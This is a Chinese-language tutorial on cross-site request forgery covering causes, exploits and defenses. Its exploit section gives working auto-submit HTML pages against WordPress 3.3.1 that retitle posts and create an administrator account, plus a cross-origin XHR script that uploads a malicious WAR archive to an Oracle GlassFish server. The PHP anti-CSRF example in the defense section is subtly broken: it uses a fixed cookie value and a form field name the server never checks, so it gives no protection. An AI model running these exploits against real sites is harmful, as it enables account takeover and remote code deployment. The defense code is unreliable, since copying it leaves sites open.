Cross Site Request Forgery
CSRF(Cross-site request forgery),中文名稱:跨站請求偽造,也被稱為:one click attack/session riding,縮寫為:CSRF/XSRF。CSRF與XSS在攻擊手段上有點類似,都是在客戶端執行惡意程式碼,有些文章中認為CSRF與XSS的區別在於CSRF不注重於獲取使用者Cookie,筆者認為可能還有區別在於CSRF不僅可以在源站發起攻擊,還可以引導使用者訪問其他危險網站的同時發起攻擊。XSS全程是跨站指令碼攻擊,即攻擊者向某個Web頁面中插入惡意的JavaScript指令碼,而當普通使用者訪問時,該惡意指令碼自動執行而從盜取使用者的Cookie等資訊。對於XSS的防禦手段主要就是輸入檢查與輸出檢查,譬如對使用者輸入的文字框內容進行<、>這樣的特殊字元檢查。而輸出檢查則是指對於輸出到網頁的內容進行過濾或者編解碼,譬如使用HTML編碼將<轉義。CSRF為跨站請求偽造,其與XSS有點類似,不過區別在於CSRF不一定依賴於JavaScript,並且不僅可以在源站發起攻擊,還有可能當使用者訪問惡意網站時引導其訪問原網站。CSRF攻擊是源於WEB的隱式身份驗證機制,WEB的身份驗證機制雖然可以保證一個請求是來自於某個使用者的瀏覽器,但卻無法保證該請求是使用者批准傳送的。對於CSRF的防禦也分為服務端防禦與客戶端防禦兩種,服務端防禦典型的譬如給某個頁面新增隨機數,使得無法從第三方頁面直接提交。在客戶端防禦的話可以利用譬如Firefox提供的一些檢查工具。注意,CSRF並沒有打破同源策略。
以下面的這個例子來說:銀行網站A,它以GET請求來完成銀行轉賬的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
危險網站B,它裡面有一段HTML的程式碼如下:
1 |
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000> |
銀行網站A違反了HTTP規範,使用GET請求更新資源。在訪問危險網站B的之前,你已經登入了銀行網站A,而B中的<img>以GET的方 式請求第三方資源(這裡的第三方就是指銀行網站了,原本這是一個合法的請求,但這裡被不法分子利用了),所以你的瀏覽器會帶上你的銀行網站A的 Cookie發出Get請求,去獲取資源“http://www.mybank.com/Transfe… money=1000”,結果銀行網站伺服器收到請求後,認為這是一個更新資源操作(轉賬操作),所以就立刻進行轉賬操作。參考深入解析跨站請求偽造漏洞:原理剖析(中所述,XSS與CSRF的區別在於:
- XSS攻擊需要JavaScript,而CSRF攻擊不需要。
- XSS攻擊要求站點接受惡意程式碼,而對於CSRF攻擊來說,惡意程式碼位於第三方站點上。過濾使用者的輸入可以防止惡意程式碼注入到某個站點,但是它無阻止法惡意程式碼在第三方站點上執行。
原因淺析
CSRF攻擊是源於WEB的隱式身份驗證機制,WEB的身份驗證機制雖然可以保證一個請求是來自於某個使用者的瀏覽器,但卻無法保證該請求是使用者批准傳送的。假設Alice訪問了一個惡意站點M,該站點提供的內容中的JavaScript程式碼或者影像標籤會導致Alice的瀏覽器向站點T傳送一個HTTP請 求。由於該請求是發給站點T的,所以Alice的瀏覽器自動地給該請求附上與站點T對應的該會話cookie的sid。站點T看到該請求時,它就能通過該 cookie的推斷出:該請求來自Alice,所以站點T就會對Alice的帳戶執行所請求的操作。這樣,CSRF攻擊就能得逞了。其他大多數Web認證機制也面臨同樣的問題。例如,HTTP BasicAuth機制會要求Alice告訴瀏覽器她在站點T上的使用者名稱和口令,於是瀏覽器將使用者名稱和口令附加到之後發給站點T的請求中。當然,站點T也 可能使用客戶端SSL證照,但這也面臨同樣的問題,因為瀏覽器也會將證照附加到發給站點T的請求中。類似的,如果站點T通過IP地址來驗證Alice的身 份的話,照樣面臨CSRF攻擊的威脅。總之,只要身份認證是隱式進行的,就會存在CSRF攻擊的危險,因為瀏覽器發出請求這一動作未必是受使用者的指使。原則上,這種威脅可以通過對每個傳送至該 站點的請求都要求使用者進行顯式的、不可欺騙的動作(諸如重新輸入使用者名稱和口令)來消除,但實際上這會導致嚴重的易用性問題。大部分標準和廣泛應用的認證機 制都無法防止CSRF攻擊,所以我們只好另外探求一個實用的解決方案。
Reference
- 從零開始學CSRF
- Preventing CSRF
- Security Corner: Cross-Site Request Forgeries
- 《深入解析跨站請求偽造漏洞:原理剖析》
- 《Web安全測試之跨站請求偽造(CSRF)》
- 《深入解析跨站請求偽造漏洞:例項講解》
Exploits
本部分我們來看幾個基於CSRF攻擊的例項,包括簡單的基於表單POST請求的攻擊 ,其可以誘導使用者點選.submit()
按鈕既可以發起攻擊。其他的還有稍微複雜一點的跨域檔案上傳CSRF攻擊 ,其主要使用了 CORS use of the xhr.withCredentals behavior。
WordPress 3.3.1 Multiple CSRF Vulnerabilities
該漏洞是由Ivano Binetti在2012年3月19號發現的,影響了WordPress 3.3.1版本 ,CVE編號CVE-2012-1936。WordPress是眾所周知的部落格平臺,該漏洞可以允許攻擊者修改某個Post的標題,新增管理許可權使用者以及操作使用者賬戶,包括但不限於刪除評論、修改頭像等等。具體的列表如下:
- Add Admin/User
- Delete Admin/User
- Approve comment
- Unapprove comment
- Delete comment
- Change background image
- Insert custom header image
- Change site title
- Change administrator’s email
- Change WordPress Address
- Change Site Address
那麼這個漏洞實際上就是攻擊者引導使用者先進入目標的WordPress,然後點選其釣魚站點上的某個按鈕,該按鈕實際上是表單提交按鈕,其會觸發表單的提交工作,核心的Exploit程式碼為:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
<html> <body onload="javascript:document.forms[0].submit()"> <h2>CSRF Exploit to change post title</h2> <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/admin-ajax.php"> <input type="hidden" name="post_title" value="hackedtitle"> <input type="hidden" name="post_name" value="hackedtitle"> <input type="hidden" name="mm" value="03"> <input type="hidden" name="jj" value="16"> <input type="hidden" name="aa" value="2012"> <input type="hidden" name="hh" value=""> <input type="hidden" name="mn" value=""> <input type="hidden" name="ss" value=""> <input type="hidden" name="post_author" value="1"> <input type="hidden" name="post_password" value=""> <input type="hidden" name="post_category%5B%5D" value="0"> <input type="hidden" name="post_category%5B%5D" value="1"> <input type="hidden" name="tax_input%5Bpost_tag%5D" value=""> <input type="hidden" name="comment_status" value="open"> <input type="hidden" name="ping_status" value="open"> <input type="hidden" name="_status" value="publish"> <input type="hidden" name="post_format" value="0"> <input type="hidden" name="_inline_edit" value="<sniffed_value>"> <input type="hidden" name="post_view" value="list"> <input type="hidden" name="screen" value="edit-post"> <input type="hidden" name="action" value="inline-save"> <input type="hidden" name="post_type" value="post"> <input type="hidden" name="post_ID" value="1"> <input type="hidden" name="edit_date" value="true"> <input type="hidden" name="post_status" value="all"> </form> </body> </html> |
另一個測試用例時新增某個具有管理員許可權的使用者,測試用例為:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
<html> <body onload="javascript:document.forms[0].submit()"> <h2>CSRF Exploit to add Administrator</h2> <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php"> <input type="hidden" name="action" value="createuser"> <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"> <input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"> <input type="hidden" name="user_login" value="admin2"> <input type="hidden" name="email" value="admin2@admin.com"> <input type="hidden" name="first_name" value="admin2@admin.com"> <input type="hidden" name="last_name" value=""> <input type="hidden" name="url" value=""> <input type="hidden" name="pass1" value="password"> <input type="hidden" name="pass2" value="password"> <input type="hidden" name="role" value="administrator"> <input type="hidden" name="createuser" value="Add+New+User+"> </form> </body> </html> |
Oracle GlassFish Server – REST Cross-Site Request Forgery
該漏洞是由Security-Assessment.com發現的,Oracle GlassFish伺服器的REST介面可以被CSRF請求攻擊,譬如其可以允許普通使用者任意上傳WAR包,並且可以控制在服務端執行從而導致竊取其他執行應用的資訊。關於具體的攻擊覆盤可以參考這裡。其攻擊手段是首先在釣魚站點上設定如下按鈕:
1 |
<button id="upload" onclick="start()" type="button">Upload WAR Archive</button> |
然後新增如下指令碼:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 |
var logUrl = 'http://glassfishserver/management/domain/applications/application'; function fileUpload(fileData, fileName) { var fileSize = fileData.length, boundary = "---------------------------270883142628617", uri = logUrl, xhr = new XMLHttpRequest(); var additionalFields = { asyncreplication: "true", availabilityenabled: "false", contextroot: "", createtables: "true", dbvendorname: "", deploymentplan: "", description: "", dropandcreatetables: "true", enabled: "true", force: "false", generatermistubs: "false", isredeploy: "false", keepfailedstubs: "false", keepreposdir: "false", keepstate: "true", lbenabled: "true", libraries: "", logReportedErrors: "true", name: "", precompilejsp: "false", properties: "", property: "", retrieve: "", target: "", type: "", uniquetablenames: "true", verify: "false", virtualservers: "", __remove_empty_entries__: "true" } if (typeof XMLHttpRequest.prototype.sendAsBinary == "function") { // Firefox 3 & 4 var tmp = ''; for (var i = 0; i < fileData.length; i++) tmp += String.fromCharCode(fileData.charCodeAt(i) & 0xff); fileData = tmp; } else { // Chrome 9 // http://javascript0.org/wiki/Portable_sendAsBinary XMLHttpRequest.prototype.sendAsBinary = function(text){ var data = new ArrayBuffer(text.length); var ui8a = new Uint8Array(data, 0); for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff); var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)(); bb.append(data); var blob = bb.getBlob(); this.send(blob); } } var fileFieldName = "id"; xhr.open("POST", uri, true); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a file MIME POST request. xhr.setRequestHeader("Content-Length", fileSize); xhr.withCredentials = "true"; xhr.onreadystatechange = function() { if (xhr.readyState == 4) { if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) { if (xhr.responseText != "") { alert(JSON.parse(xhr.responseText).msg); } } else if (xhr.status == 0) { } } } var body = ""; for (var i in additionalFields) { if (additionalFields.hasOwnProperty(i)) { body += addField(i, additionalFields[i], boundary); } } body += addFileField(fileFieldName, fileData, fileName, boundary); body += "--" + boundary + "--"; xhr.sendAsBinary(body); return true; } function addField(name, value, boundary) { var c = "--" + boundary + "\r\n" c += 'Content-Disposition: form-data; name="' + name + '"\r\n\r\n'; c += value + "\r\n"; return c; } function addFileField(name, value, filename, boundary) { var c = "--" + boundary + "\r\n" c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename + '"\r\n'; c += "Content-Type: application/octet-stream\r\n\r\n"; c += value + "\r\n"; return c; } function getBinary(file){ var xhr = new XMLHttpRequest(); xhr.open("GET", file, false); xhr.overrideMimeType("text/plain; charset=x-user-defined"); xhr.send(null); return xhr.responseText; } function readBinary(data) { var tmp = ''; for (var i = 0; i < data.length; i++) tmp += String.fromCharCode(data.charCodeAt(i) & 0xff); data = tmp; return tmp; } function start() { var c = getBinary('maliciousarchive.war'); fileUpload(c, "maliciousarchive.war"); } |
防禦
服務端防禦
遵循標準的GET動作
只允許GET請求檢索資料,但是不允許它修改伺服器上的任何資料。這個修改可以防止利用{img}標籤或者其它的型別的GET請求的CSRF攻擊。另外,這個建議遵循RFC 2616(HTTP/1.1):具體說來,按照約定,GET和HEAD方法不應該進行檢索之外的動作。這些方法應該被認為是“安全的”。雖然這個保護措施無法阻止CSRF本身,因 為攻擊者可以使用POST請求,但是它卻可以與(2)結合來全面防止CSRF漏洞。這裡,我們假定對手無法修改使用者的cookie。
為頁面增加隨機數
當使用者訪問站點時,該站點應該生成一個(密碼上很強壯的)偽隨機值,並在使用者的計算機上將其設為cookie。站點應該要求每個表單都包含該偽隨機 值(作為表單值和cookie值)。當一個POST請求被髮給站點時,只有表單值和cookie值相同時,該請求才會被認為是有效的。當攻擊者以一個使用者的名義提交表單時,他只能修改該表單的值。攻擊者不能讀取任何發自該伺服器的資料或者修改cookie值,這是同源策略的緣故。 這意味著,雖然攻擊者可以用表單傳送任何他想要的值,但是他卻不能修改或者讀取儲存在該cookie中的值。因為cookie值和表單值必須是相同的,所 以除非攻擊者能猜出該偽隨機值,否則他就無法成功地提交表單。以PHP為例,我們可以在服務端首先生成隨機數:
1 2 3 4 5 |
<?php //構造加密的Cookie資訊 $value = “DefenseSCRF”; setcookie(”cookie”, $value, time()+3600); ?> |
在表單裡增加Hash值,以認證這確實是使用者傳送的請求。
1 2 3 4 5 6 7 8 9 |
<?php $hash = md5($_COOKIE['cookie']); ?> <form method=”POST” action=”transfer.php”> <input type=”text” name=”toBankId”> <input type=”text” name=”money”> <input type=”hidden” name=”hash” value=”<?=$hash;?>”> <input type=”submit” name=”submit” value=”Submit”> </form> |
然後在伺服器端進行Hash值驗證:
1 2 3 4 5 6 7 8 9 10 11 12 |
<?php if(isset($_POST['check'])) { $hash = md5($_COOKIE['cookie']); if($_POST['check'] == $hash) { doJob(); } else { //... } } else { //... } ?> |
當然,我們也可以強制要求使用者進行任何增刪改的操作時都需要輸入驗證碼,即進行使用者互動,不過這樣也就意味著很差的使用者體驗。
客戶端防禦
由於使攻擊者成功地執行CSRF攻擊的請求是由瀏覽器發出的,所以可以建立客戶端工具來保護使用者不受此種攻擊。現有的工具RequestRodeo 通過在客戶和伺服器之間充當代理來防止CSRF攻擊。如果RequestRodeo發現了一個它認為是非法的請求,它會從該請求剝離驗證資訊。雖然這種方 式在很多情況下都能有效,但是它具有一些侷限性。具體地說,當客戶端使用了SSL認證或者使用JavaScript生成部分頁面(因為 RequestRodeo分析的是在瀏覽器顯示之前的流經代理的那些資料)時,它就不起作用了。 人們已經開發了一個瀏覽器外掛,不僅可以使使用者可以免受某些型別的CSRF攻擊,並且還能克服以上所述的侷限性,這個工具是作為Firefox瀏覽器的擴 展實現的,其地址是http://www.cs.princeton.edu/˜wzeller/csrf/protector/。 為了有效地防範CSRF攻擊,使用者需要下載安裝這個擴充套件。該擴充套件會攔截所有的HTTP請求,並判斷是否允許該HTTP請求。這個判斷要用到下列規則。首 先,POST請求之外的任何要求都是允許的。第二,如果發出請求的站點和目標站點符合同源策略的要求,那麼該請求被允許。第三,如果發出請求的站點被允許 使用Adobe的跨域政策來建立一個請求的話,那麼該請求也會被允許。如果我們的擴充套件拒絕一個請求,該擴充套件會通過一個常見的介面來提示使用者(即 Firefox所使用的popup blocker)該請求已經被阻止,並且讓使用者選擇是否將站點新增到一個白名單中。
該擴充套件僅僅攔截POST請求。這意味著,它無法保護使用者免受使用GET請求的CSRF攻擊 阻止這種型別的攻擊的唯一方法是不允許任何跨域GET請求,或只允許使用者一次只能登入到一個站點,但是這兩個限制可能是使用者無法忍受的。